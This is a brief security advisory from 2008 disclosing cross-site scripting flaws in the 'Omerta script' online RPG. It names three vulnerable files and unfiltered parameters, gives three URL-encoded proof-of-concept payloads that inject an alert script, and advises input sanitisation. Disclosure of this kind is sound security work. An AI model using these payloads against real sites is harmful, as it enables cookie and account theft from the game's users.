original advisory at <a href="http://www.davidsopas.com/soapbox/omerta_xss.txt">http://www.davidsopas.com/soapbox/omerta_xss.txt</a><br><br>XSS flaws in Omerta script (<a href="http://www.barafranca.com">www.barafranca.com</a>)<br>
version tested: 2.7c and 2.8(newer version)<br><br>by David Sopas Ferreira <br><smok3f00 at <a href="http://gmail.com">gmail.com</a>><br><<a href="http://www.davidsopas.com">www.davidsopas.com</a>><br><br>Found and reported at : 5-05-2008PT <br>
Full disclosure at : 12-05-2008PT<br><br><br>?!---------------------------------------------------------<br> XSS <br> ----!?<br><br>On this online RPG, it's possible for a malicious user<br>use XSS (Cross Site Scripting) attacks to steal users cookies<br>
and possibly their account.<br><br>The files affected by this are:<br><br>msg.php, unfiltred var=nick<br>view-topic.php, unfiltred var=page<br>donate.php, unfiltred var=nation<br><br>Attack example here:<br><br>msg.php?nick=ValidUser%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E<br>
forums/view-topic.php?id=3830&page=2%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E<br>donate.php?nation=PT%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E<br><br><br>?!---------------------------------------------------------<br>
How to fix it <br> -------------!?<br><br>Edit the source code to ensure that input is properly sanitised.<br>